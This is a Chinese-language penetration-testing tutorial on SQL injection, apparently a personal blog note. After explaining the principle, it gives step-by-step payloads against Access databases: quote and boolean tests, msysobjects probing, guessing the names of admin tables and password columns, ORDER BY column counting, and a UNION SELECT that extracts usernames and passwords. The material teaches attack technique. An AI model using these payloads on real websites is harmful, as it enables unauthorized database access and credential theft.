@1kbfree
        
        2018-03-17T14:50:56.000000Z
        字数 1318
        阅读 1732
    渗透
sql注入原理:
SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
sql注入类型
sql注入点
任何存在与数据库交互的地方,都可能存在sql注入
攻击流程
SQL注入威胁表现形式可以体现为以下几点:
SQL注入攻击的典型手段: 
 - 判断应用程序是否存在注入漏洞 
 - 收集信息、并判断数据库类型 
 - 根据注入参数类型,重构SQL语句的原貌 
 - 猜解表名、字段名 
 - 获取账户信息、攻击web或为下一步攻击做准备
access数据如注入
判断是否有注入: 
①http://www.xxx.xxx?id=1'  
②http://www.xxx.xxx?id=1 and 1=1 
③http://www.xxx.xxx?id=1 and 1=2
如果执行①后,页面上提示报错或者提示数据库错误的话,说明是可能存在注入漏洞的。 
如果执行②后,页面正常显示,而执行③后,页面报错,那么说明这个页面是存在注入漏洞的。
判断是否为access数据库: 
1'and exists (select * from msysobjects) > 0-- a 
这里的-- a表示注释
注意:如果返回msysobjects上没有读取数据权限就是证明这个库存在msysobjects,能证明这个是access数据库  
exists 是判断是否存在,和in类似,但效率要比in高
判断数据表: 
1' and exists(select * from admin)-- a 判断表admin是否存在,如果返回正常,说明admin表是存在的 
1' and exists(select * from users)-- a 判断表users是否存在,如果返回正常,说明users表是存在的
判断字段名: 
如果admin表存在,我们可以这样1' and exists(select password from admin)-- a来判断字段(password)是否存在
判断字段长度:
 
1' order by 30-- a 看能否排序30个,如果不能说明少于30个 
1' order by 25-- a 看能否排序25个,如果不能说明少于25个 
1' order by 20-- a 看能否排序30个,如果能说明等于或大于20个 
判断在前端的显示个数可以慢慢猜,如果在20时没报错,在30的时候报错了,说明这个字段长度大于或等于20,小于30
如果知道了显示个数为二十,我们可以这样1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin-- a返回如下图:

我们在继续输入1' union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20 from admin-- a意思是让3的地方显示username,让15那里显示password。我们来看看结果: 

